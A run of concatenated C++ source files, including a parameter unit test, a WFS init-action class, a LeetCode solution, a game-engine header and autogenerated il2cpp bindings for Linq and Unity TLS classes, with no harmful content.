110); EXPECT_EQ(params.GetParam("system.window.width").asInt(), 110); LOG(INFO) << params.ToStr(); EXPECT_TRUE(params.SetParam("system.window.dg.xg.ui.dd", 110)); LOG(INFO) << params.ToStr(); }#include "stdafx.h" #include "BTree.h" #include "StoredQueryHandlerInitBase.h" #include #include using Fmi::Exception; using SmartMet::Plugin::WFS::StoredQueryHandlerInitBase; StoredQueryHandlerInitBase::StoredQueryHandlerInitBase() : action_queue() { } StoredQueryHandlerInitBase::~StoredQueryHandlerInitBase() { } void StoredQueryHandlerInitBase::execute_init_actions() { std::set processed_names; while (not action_queue.empty()) { const auto item = action_queue.front(); action_queue.pop(); try { if (processed_names.insert(item.first).second) { item.second(); } else { throw Exception::Trace(BCP, "INTERNAL ERROR: Init operation '" + item.first + "' queued more than once"); } } catch (...) { throw Exception::Trace(BCP, "Operation failed") .addDetail(item.first); } } } void StoredQueryHandlerInitBase::add_init_action( const std::string& name, std::function action) { action_queue.push(std::make_pair(name, action)); } 0 #include using namespace std; class Solution { public: int removeElement(vector& nums, int val) { int curIndex; curIndex = 0; for (int i = 0; i < nums.size(); i++) { if (nums[i] != val) { nums[curIndex] = nums[i]; curIndex++; } } return curIndex; } };#ifndef SLEIPNIR_APPLICATION_HPP #define SLEIPNIR_APPLICATION_HPP #include #include #include #include #include #include #include #include #include #include #include #include class Application { public: Application(unicorn::Settings& settings , unicorn::UnicornRender* pRender); ~Application(); void Run(); private: static const uint32_t MAX_OBJECT_COUNT = 5; void OnLogicFrame(unicorn::UnicornRender* pRender); void OnMouseButton(unicorn::system::Window::MouseButtonEvent const& mouseButtonEvent); void OnCursorPositionChanged(unicorn::system::Window* pWindow, std::pair pos); void OnMouseScrolled(unicorn::system::Window* pWindow, std::pair pos); void OnWindowKeyboard(unicorn::system::Window::KeyboardEvent const& keyboardEvent); void OnRendererDestroyed(unicorn::video::Renderer* pRenderer); void SpawnCube(); void DeleteCube(); void SceneReset(); float m_deltaTime; float m_lastFrame; // Render part using MeshDescriptor = unicorn::video::geometry::MeshDescriptor; unicorn::UnicornRender* m_pRender; unicorn::system::Timer m_timer; unicorn::video::CameraFpsController* m_pCameraController; unicorn::video::Renderer* m_pVkRenderer; std::list m_cubes; std::list m_worldObjects; // Physics part using Particles = std::list; using RigidBodies = std::list; using ForceGenerators = std::list>; pegasus::ParticleForceRegistry m_physicsForceRegistry; pegasus::ParticleContactGenerators m_physicsContactGenerators; pegasus::ParticleWorld m_physicsWorld; Particles m_particles; ForceGenerators m_forces; RigidBodies m_rigidBodies; // Glue std::unordered_map m_glue; }; #endif // SLEIPNIR_APPLICATION_HPP 1-10 #include "TicTacToe.hpp" int main () { TicTacToe game; game.start(); return 0; }// Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes // Including type: System.Linq.Enumerable #include "System/Linq/Enumerable.hpp" // Including type: System.Linq.Enumerable/System.Linq.Iterator`1 #include "System/Linq/Enumerable_Iterator_1.hpp" // Including type: System.Linq.Enumerable/System.Linq.WhereEnumerableIterator`1 #include "System/Linq/Enumerable_WhereEnumerableIterator_1.hpp" // Including type: System.Linq.Enumerable/System.Linq.WhereArrayIterator`1 #include "System/Linq/Enumerable_WhereArrayIterator_1.hpp" // Including type: System.Linq.Enumerable/System.Linq.WhereListIterator`1 #include "System/Linq/Enumerable_WhereListIterator_1.hpp" // Including type: System.Linq.Enumerable/System.Linq.WhereSelectEnumerableIterator`2 #include "System/Linq/Enumerable_WhereSelectEnumerableIterator_2.hpp" // Including type: System.Linq.Enumerable/System.Linq.WhereSelectArrayIterator`2 #include "System/Linq/Enumerable_WhereSelectArrayIterator_2.hpp" // Including type: System.Linq.Enumerable/System.Linq.WhereSelectListIterator`2 #include "System/Linq/Enumerable_WhereSelectListIterator_2.hpp" // Including type: System.Linq.Enumerable/System.Linq.d__5`2 #include "System/Linq/Enumerable_-SelectIterator-d__5_2.hpp" // Including type: System.Linq.Enumerable/System.Linq.<>c__DisplayClass6_0`1 #include "System/Linq/Enumerable_--c__DisplayClass6_0_1.hpp" // Including type: System.Linq.Enumerable/System.Linq.<>c__DisplayClass7_0`3 #include "System/Linq/Enumerable_--c__DisplayClass7_0_3.hpp" // Including type: System.Linq.Enumerable/System.Linq.d__25`1 #include "System/Linq/Enumerable_-TakeIterator-d__25_1.hpp" // Including type: System.Linq.Enumerable/System.Linq.d__59`1 #include "System/Linq/Enumerable_-ConcatIterator-d__59_1.hpp" // Including type: System.Linq.Enumerable/System.Linq.d__99`1 #include "System/Linq/Enumerable_-CastIterator-d__99_1.hpp" // Including type: System.Linq.Enumerable/System.Linq.d__115 #include "System/Linq/Enumerable_-RangeIterator-d__115.hpp" // Including type: System.Collections.Generic.IEnumerable`1 #include "System/Collections/Generic/IEnumerable_1.hpp" // Including type: System.Func`2 #include "System/Func_2.hpp" // Including type: System.Func`3 #include "System/Func_3.hpp" // Including type: System.Linq.IOrderedEnumerable`1 #include "System/Linq/IOrderedEnumerable_1.hpp" // Including type: System.Collections.Generic.IEqualityComparer`1 #include "System/Collections/Generic/IEqualityComparer_1.hpp" // Including type: System.Collections.Generic.List`1 #include "System/Collections/Generic/List_1.hpp" // Including type: System.Collections.Generic.Dictionary`2 #include "System/Collections/Generic/Dictionary_2.hpp" // Including type: System.Collections.IEnumerable #include "System/Collections/IEnumerable.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: System.Linq.Enumerable.Range ::System::Collections::Generic::IEnumerable_1* System::Linq::Enumerable::Range(int start, int count) { static auto ___internal__logger = ::Logger::get().WithContext("::System::Linq::Enumerable::Range"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("System.Linq", "Enumerable", "Range", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(start), ::il2cpp_utils::ExtractType(count)}))); return ::il2cpp_utils::RunMethodRethrow<::System::Collections::Generic::IEnumerable_1*, false>(static_cast(nullptr), ___internal__method, start, count); } // Autogenerated method: System.Linq.Enumerable.RangeIterator ::System::Collections::Generic::IEnumerable_1* System::Linq::Enumerable::RangeIterator(int start, int count) { static auto ___internal__logger = ::Logger::get().WithContext("::System::Linq::Enumerable::RangeIterator"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("System.Linq", "Enumerable", "RangeIterator", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(start), ::il2cpp_utils::ExtractType(count)}))); return ::il2cpp_utils::RunMethodRethrow<::System::Collections::Generic::IEnumerable_1*, false>(static_cast(nullptr), ___internal__method, start, count); } // Autogenerated method: System.Linq.Enumerable.Min float System::Linq::Enumerable::Min(::System::Collections::Generic::IEnumerable_1* source) { static auto ___internal__logger = ::Logger::get().WithContext("::System::Linq::Enumerable::Min"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("System.Linq", "Enumerable", "Min", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(source)}))); return ::il2cpp_utils::RunMethodRethrow(static_cast(nullptr), ___internal__method, source); } // Autogenerated method: System.Linq.Enumerable.Max int System::Linq::Enumerable::Max(::System::Collections::Generic::IEnumerable_1* source) { static auto ___internal__logger = ::Logger::get().WithContext("::System::Linq::Enumerable::Max"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("System.Linq", "Enumerable", "Max", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(source)}))); return ::il2cpp_utils::RunMethodRethrow(static_cast(nullptr), ___internal__method, source); } // Autogenerated method: System.Linq.Enumerable.Max float System::Linq::Enumerable::Max(::System::Collections::Generic::IEnumerable_1* source) { static auto ___internal__logger = ::Logger::get().WithContext("::System::Linq::Enumerable::Max"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("System.Linq", "Enumerable", "Max", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(source)}))); return ::il2cpp_utils::RunMethodRethrow(static_cast(nullptr), ___internal__method, source); } // Autogenerated method: System.Linq.Enumerable.Average float System::Linq::Enumerable::Average(::System::Collections::Generic::IEnumerable_1* source) { static auto ___internal__logger = ::Logger::get().WithContext("::System::Linq::Enumerable::Average"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("System.Linq", "Enumerable", "Average", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(source)}))); return ::il2cpp_utils::RunMethodRethrow(static_cast(nullptr), ___internal__method, source); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" // Including type: System.Linq.Enumerable/System.Linq.d__115 #include "System/Linq/Enumerable_-RangeIterator-d__115.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated instance field getter // Get instance field: private System.Int32 <>1__state int& System::Linq::Enumerable::$RangeIterator$d__115::dyn_$$1__state() { static auto ___internal__logger = ::Logger::get().WithContext("::System::Linq::Enumerable::$RangeIterator$d__115::dyn_$$1__state"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "<>1__state"))->offset; return *reinterpret_cast(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: private System.Int32 <>2__current int& System::Linq::Enumerable::$RangeIterator$d__115::dyn_$$2__current() { static auto ___internal__logger = ::Logger::get().WithContext("::System::Linq::Enumerable::$RangeIterator$d__115::dyn_$$2__current"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "<>2__current"))->offset; return *reinterpret_cast(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: private System.Int32 <>l__initialThreadId int& System::Linq::Enumerable::$RangeIterator$d__115::dyn_$$l__initialThreadId() { static auto ___internal__logger = ::Logger::get().WithContext("::System::Linq::Enumerable::$RangeIterator$d__115::dyn_$$l__initialThreadId"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "<>l__initialThreadId"))->offset; return *reinterpret_cast(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: private System.Int32 start int& System::Linq::Enumerable::$RangeIterator$d__115::dyn_start() { static auto ___internal__logger = ::Logger::get().WithContext("::System::Linq::Enumerable::$RangeIterator$d__115::dyn_start"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "start"))->offset; return *reinterpret_cast(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: public System.Int32 <>3__start int& System::Linq::Enumerable::$RangeIterator$d__115::dyn_$$3__start() { static auto ___internal__logger = ::Logger::get().WithContext("::System::Linq::Enumerable::$RangeIterator$d__115::dyn_$$3__start"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "<>3__start"))->offset; return *reinterpret_cast(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: private System.Int32 5__1 int& System::Linq::Enumerable::$RangeIterator$d__115::dyn_$i$5__1() { static auto ___internal__logger = ::Logger::get().WithContext("::System::Linq::Enumerable::$RangeIterator$d__115::dyn_$i$5__1"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "5__1"))->offset; return *reinterpret_cast(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: private System.Int32 count int& System::Linq::Enumerable::$RangeIterator$d__115::dyn_count() { static auto ___internal__logger = ::Logger::get().WithContext("::System::Linq::Enumerable::$RangeIterator$d__115::dyn_count"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "count"))->offset; return *reinterpret_cast(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: public System.Int32 <>3__count int& System::Linq::Enumerable::$RangeIterator$d__115::dyn_$$3__count() { static auto ___internal__logger = ::Logger::get().WithContext("::System::Linq::Enumerable::$RangeIterator$d__115::dyn_$$3__count"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "<>3__count"))->offset; return *reinterpret_cast(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated method: System.Linq.Enumerable/System.Linq.d__115.System.Collections.Generic.IEnumerator.get_Current int System::Linq::Enumerable::$RangeIterator$d__115::System_Collections_Generic_IEnumerator$System_Int32$_get_Current() { static auto ___internal__logger = ::Logger::get().WithContext("::System::Linq::Enumerable::$RangeIterator$d__115::System.Collections.Generic.IEnumerator.get_Current"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "System.Collections.Generic.IEnumerator.get_Current", std::vector{}, ::std::vector{}))); return ::il2cpp_utils::RunMethodRethrow(this, ___internal__method); } // Autogenerated method: System.Linq.Enumerable/System.Linq.d__115.System.Collections.IEnumerator.get_Current ::Il2CppObject* System::Linq::Enumerable::$RangeIterator$d__115::System_Collections_IEnumerator_get_Current() { static auto ___internal__logger = ::Logger::get().WithContext("::System::Linq::Enumerable::$RangeIterator$d__115::System.Collections.IEnumerator.get_Current"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "System.Collections.IEnumerator.get_Current", std::vector{}, ::std::vector{}))); return ::il2cpp_utils::RunMethodRethrow<::Il2CppObject*, false>(this, ___internal__method); } // Autogenerated method: System.Linq.Enumerable/System.Linq.d__115.System.IDisposable.Dispose void System::Linq::Enumerable::$RangeIterator$d__115::System_IDisposable_Dispose() { static auto ___internal__logger = ::Logger::get().WithContext("::System::Linq::Enumerable::$RangeIterator$d__115::System.IDisposable.Dispose"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "System.IDisposable.Dispose", std::vector{}, ::std::vector{}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method); } // Autogenerated method: System.Linq.Enumerable/System.Linq.d__115.MoveNext bool System::Linq::Enumerable::$RangeIterator$d__115::MoveNext() { static auto ___internal__logger = ::Logger::get().WithContext("::System::Linq::Enumerable::$RangeIterator$d__115::MoveNext"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "MoveNext", std::vector{}, ::std::vector{}))); return ::il2cpp_utils::RunMethodRethrow(this, ___internal__method); } // Autogenerated method: System.Linq.Enumerable/System.Linq.d__115.System.Collections.IEnumerator.Reset void System::Linq::Enumerable::$RangeIterator$d__115::System_Collections_IEnumerator_Reset() { static auto ___internal__logger = ::Logger::get().WithContext("::System::Linq::Enumerable::$RangeIterator$d__115::System.Collections.IEnumerator.Reset"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "System.Collections.IEnumerator.Reset", std::vector{}, ::std::vector{}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method); } // Autogenerated method: System.Linq.Enumerable/System.Linq.d__115.System.Collections.Generic.IEnumerable.GetEnumerator ::System::Collections::Generic::IEnumerator_1* System::Linq::Enumerable::$RangeIterator$d__115::System_Collections_Generic_IEnumerable$System_Int32$_GetEnumerator() { static auto ___internal__logger = ::Logger::get().WithContext("::System::Linq::Enumerable::$RangeIterator$d__115::System.Collections.Generic.IEnumerable.GetEnumerator"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "System.Collections.Generic.IEnumerable.GetEnumerator", std::vector{}, ::std::vector{}))); return ::il2cpp_utils::RunMethodRethrow<::System::Collections::Generic::IEnumerator_1*, false>(this, ___internal__method); } // Autogenerated method: System.Linq.Enumerable/System.Linq.d__115.System.Collections.IEnumerable.GetEnumerator ::System::Collections::IEnumerator* System::Linq::Enumerable::$RangeIterator$d__115::System_Collections_IEnumerable_GetEnumerator() { static auto ___internal__logger = ::Logger::get().WithContext("::System::Linq::Enumerable::$RangeIterator$d__115::System.Collections.IEnumerable.GetEnumerator"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "System.Collections.IEnumerable.GetEnumerator", std::vector{}, ::std::vector{}))); return ::il2cpp_utils::RunMethodRethrow<::System::Collections::IEnumerator*, false>(this, ___internal__method); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes // Including type: Mono.Util.MonoPInvokeCallbackAttribute #include "Mono/Util/MonoPInvokeCallbackAttribute.hpp" // Including type: System.Type #include "System/Type.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes // Including type: Mono.Unity.CertHelper #include "Mono/Unity/CertHelper.hpp" // Including type: System.Security.Cryptography.X509Certificates.X509CertificateCollection #include "System/Security/Cryptography/X509Certificates/X509CertificateCollection.hpp" // Including type: System.Security.Cryptography.X509Certificates.X509Certificate #include "System/Security/Cryptography/X509Certificates/X509Certificate.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509list #include "Mono/Unity/UnityTls_unitytls_x509list.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_errorstate #include "Mono/Unity/UnityTls_unitytls_errorstate.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.CertHelper.AddCertificatesToNativeChain void Mono::Unity::CertHelper::AddCertificatesToNativeChain(::Mono::Unity::UnityTls::unitytls_x509list* nativeCertificateChain, ::System::Security::Cryptography::X509Certificates::X509CertificateCollection* certificates, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::CertHelper::AddCertificatesToNativeChain"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Unity", "CertHelper", "AddCertificatesToNativeChain", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(nativeCertificateChain), ::il2cpp_utils::ExtractType(certificates), ::il2cpp_utils::ExtractType(errorState)}))); ::il2cpp_utils::RunMethodRethrow(static_cast(nullptr), ___internal__method, nativeCertificateChain, certificates, errorState); } // Autogenerated method: Mono.Unity.CertHelper.AddCertificateToNativeChain void Mono::Unity::CertHelper::AddCertificateToNativeChain(::Mono::Unity::UnityTls::unitytls_x509list* nativeCertificateChain, ::System::Security::Cryptography::X509Certificates::X509Certificate* certificate, ::Mono::Unity::UnityTls::unitytls_errorstate* errorState) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::CertHelper::AddCertificateToNativeChain"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Unity", "CertHelper", "AddCertificateToNativeChain", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(nativeCertificateChain), ::il2cpp_utils::ExtractType(certificate), ::il2cpp_utils::ExtractType(errorState)}))); ::il2cpp_utils::RunMethodRethrow(static_cast(nullptr), ___internal__method, nativeCertificateChain, certificate, errorState); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes // Including type: Mono.Unity.Debug #include "Mono/Unity/Debug.hpp" // Including type: Mono.Security.Interface.AlertDescription #include "Mono/Security/Interface/AlertDescription.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_errorstate #include "Mono/Unity/UnityTls_unitytls_errorstate.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result #include "Mono/Unity/UnityTls_unitytls_x509verify_result.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Unity.Debug.CheckAndThrow void Mono::Unity::Debug::CheckAndThrow(::Mono::Unity::UnityTls::unitytls_errorstate errorState, ::StringW context, ::Mono::Security::Interface::AlertDescription defaultAlert) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::Debug::CheckAndThrow"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Unity", "Debug", "CheckAndThrow", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(errorState), ::il2cpp_utils::ExtractType(context), ::il2cpp_utils::ExtractType(defaultAlert)}))); ::il2cpp_utils::RunMethodRethrow(static_cast(nullptr), ___internal__method, errorState, context, defaultAlert); } // Autogenerated method: Mono.Unity.Debug.CheckAndThrow void Mono::Unity::Debug::CheckAndThrow(::Mono::Unity::UnityTls::unitytls_errorstate errorState, ::Mono::Unity::UnityTls::unitytls_x509verify_result verifyResult, ::StringW context, ::Mono::Security::Interface::AlertDescription defaultAlert) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::Debug::CheckAndThrow"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Unity", "Debug", "CheckAndThrow", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(errorState), ::il2cpp_utils::ExtractType(verifyResult), ::il2cpp_utils::ExtractType(context), ::il2cpp_utils::ExtractType(defaultAlert)}))); ::il2cpp_utils::RunMethodRethrow(static_cast(nullptr), ___internal__method, errorState, verifyResult, context, defaultAlert); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes // Including type: Mono.Unity.UnityTls #include "Mono/Unity/UnityTls.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_error_code #include "Mono/Unity/UnityTls_unitytls_error_code.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_errorstate #include "Mono/Unity/UnityTls_unitytls_errorstate.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_key #include "Mono/Unity/UnityTls_unitytls_key.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_key_ref #include "Mono/Unity/UnityTls_unitytls_key_ref.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509_ref #include "Mono/Unity/UnityTls_unitytls_x509_ref.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509list #include "Mono/Unity/UnityTls_unitytls_x509list.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509list_ref #include "Mono/Unity/UnityTls_unitytls_x509list_ref.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_result #include "Mono/Unity/UnityTls_unitytls_x509verify_result.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509verify_callback #include "Mono/Unity/UnityTls_unitytls_x509verify_callback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx #include "Mono/Unity/UnityTls_unitytls_tlsctx.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_x509name #include "Mono/Unity/UnityTls_unitytls_x509name.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_ciphersuite #include "Mono/Unity/UnityTls_unitytls_ciphersuite.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_protocol #include "Mono/Unity/UnityTls_unitytls_protocol.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_protocolrange #include "Mono/Unity/UnityTls_unitytls_tlsctx_protocolrange.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_write_callback #include "Mono/Unity/UnityTls_unitytls_tlsctx_write_callback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_read_callback #include "Mono/Unity/UnityTls_unitytls_tlsctx_read_callback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_trace_callback #include "Mono/Unity/UnityTls_unitytls_tlsctx_trace_callback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_certificate_callback #include "Mono/Unity/UnityTls_unitytls_tlsctx_certificate_callback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_x509verify_callback #include "Mono/Unity/UnityTls_unitytls_tlsctx_x509verify_callback.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_tlsctx_callbacks #include "Mono/Unity/UnityTls_unitytls_tlsctx_callbacks.hpp" // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct #include "Mono/Unity/UnityTls_unitytls_interface_struct.hpp" // Including type: System.IntPtr #include "System/IntPtr.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated static field getter // Get static field: static private Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct marshalledInterface ::Mono::Unity::UnityTls::unitytls_interface_struct* Mono::Unity::UnityTls::_get_marshalledInterface() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::_get_marshalledInterface"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Unity::UnityTls::unitytls_interface_struct*>("Mono.Unity", "UnityTls", "marshalledInterface")); } // Autogenerated static field setter // Set static field: static private Mono.Unity.UnityTls/Mono.Unity.unitytls_interface_struct marshalledInterface void Mono::Unity::UnityTls::_set_marshalledInterface(::Mono::Unity::UnityTls::unitytls_interface_struct* value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::_set_marshalledInterface"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Unity", "UnityTls", "marshalledInterface", value)); } // Autogenerated method: Mono.Unity.UnityTls.get_IsSupported bool Mono::Unity::UnityTls::get_IsSupported() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::get_IsSupported"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Unity", "UnityTls", "get_IsSupported", std::vector{}, ::std::vector{}))); return ::il2cpp_utils::RunMethodRethrow(static_cast(nullptr), ___internal__method); } // Autogenerated method: Mono.Unity.UnityTls.get_NativeInterface ::Mono::Unity::UnityTls::unitytls_interface_struct* Mono::Unity::UnityTls::get_NativeInterface() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::get_NativeInterface"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Unity", "UnityTls", "get_NativeInterface", std::vector{}, ::std::vector{}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Unity::UnityTls::unitytls_interface_struct*, false>(static_cast(nullptr), ___internal__method); } // Autogenerated method: Mono.Unity.UnityTls.GetUnityTlsInterface ::System::IntPtr Mono::Unity::UnityTls::GetUnityTlsInterface() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::GetUnityTlsInterface"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Unity", "UnityTls", "GetUnityTlsInterface", std::vector{}, ::std::vector{}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(static_cast(nullptr), ___internal__method); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes // Including type: Mono.Unity.UnityTls/Mono.Unity.unitytls_error_code #include "Mono/Unity/UnityTls_unitytls_error_code.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated static field getter // Get static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_error_code UNITYTLS_SUCCESS ::Mono::Unity::UnityTls::unitytls_error_code Mono::Unity::UnityTls::unitytls_error_code::_get_UNITYTLS_SUCCESS() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_error_code::_get_UNITYTLS_SUCCESS"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Unity::UnityTls::unitytls_error_code>("Mono.Unity", "UnityTls/unitytls_error_code", "UNITYTLS_SUCCESS")); } // Autogenerated static field setter // Set static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_error_code UNITYTLS_SUCCESS void Mono::Unity::UnityTls::unitytls_error_code::_set_UNITYTLS_SUCCESS(::Mono::Unity::UnityTls::unitytls_error_code value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_error_code::_set_UNITYTLS_SUCCESS"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Unity", "UnityTls/unitytls_error_code", "UNITYTLS_SUCCESS", value)); } // Autogenerated static field getter // Get static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_error_code UNITYTLS_INVALID_ARGUMENT ::Mono::Unity::UnityTls::unitytls_error_code Mono::Unity::UnityTls::unitytls_error_code::_get_UNITYTLS_INVALID_ARGUMENT() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_error_code::_get_UNITYTLS_INVALID_ARGUMENT"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Unity::UnityTls::unitytls_error_code>("Mono.Unity", "UnityTls/unitytls_error_code", "UNITYTLS_INVALID_ARGUMENT")); } // Autogenerated static field setter // Set static field: static public Mono.Unity.UnityTls/Mono.Unity.unitytls_error_code UNITYTLS_INVALID_ARGUMENT void Mono::Unity::UnityTls::unitytls_error_code::_set_UNITYTLS_INVALID_ARGUMENT(::Mono::Unity::UnityTls::unitytls_error_code value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Unity::UnityTls::unitytls_error_code::_set_UNITYTLS_INVALID_ARGUMENT"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Unity", "UnityTls/unitytls_error_code", "UNITYTLS_INVALID_ARGUMENT", value)); } // Autogenerated static field getter // Get static field: static public 